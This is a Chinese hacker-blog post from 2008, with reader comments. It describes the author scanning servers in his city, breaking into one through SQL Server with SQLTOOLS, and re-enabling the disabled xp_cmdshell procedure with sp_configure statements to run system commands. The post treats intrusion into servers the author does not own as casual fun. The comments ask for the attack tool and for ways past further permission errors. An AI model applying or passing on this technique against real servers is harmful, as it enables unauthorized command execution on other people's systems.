您的位置: 网站首页 > 黑客地带 > 阅读文章

入侵中遇到“SQL Server 阻止了对xp_cmdshell的访问”的解决方法

  好久没玩入侵,今天无聊随便扫了扫本市,捞到一台服务器,用SQLTOOLS连接上去后执行DOS命令。
执行查看C盘命令dir c:\时,

SQL Server

  提示:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

  打开SQL查询分析器,执行:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

  即可恢复!
SQL Server

  提示结果为:
  配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
  配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

  其实这个语句所做的工作就是把第二个1从0改到了1。

  现在执行看看:
SQL Server

  • 属于分类: 黑客地带
  • 本文标签:
  • 人气指数: 5,271
  • 文章作者: 野球小子
  • 生产日期: 2008年3月14日 - 19时20分18秒
看看还有没有您感兴趣的:

  1. wst321
    十一月 1st, 2008 at 01:56 | #1

    请问下 这里面用的那个工具哪里有下吗? 名字叫sqltool吧 到处找不到 ,有地址的话 发个 谢谢

    [回复]

  2. yearnxiao
    十二月 25th, 2008 at 19:52 | #2

    想和你交个朋友,可否?yearnxiao@live.cn

    [回复]

  3. klcn00
    四月 30th, 2010 at 11:41 | #3

    请问错误5和737怎么修啊,我知道是cmd权限被限制了,应该可以通过修改注册表修复吧。不晓得sql语句修复的命令是多少

    [回复]

  • 您的大名(必填)
  • E-Mail (必填)
  • 您的网站(有的话就写一下吧~)
  • 评论内容:(必填)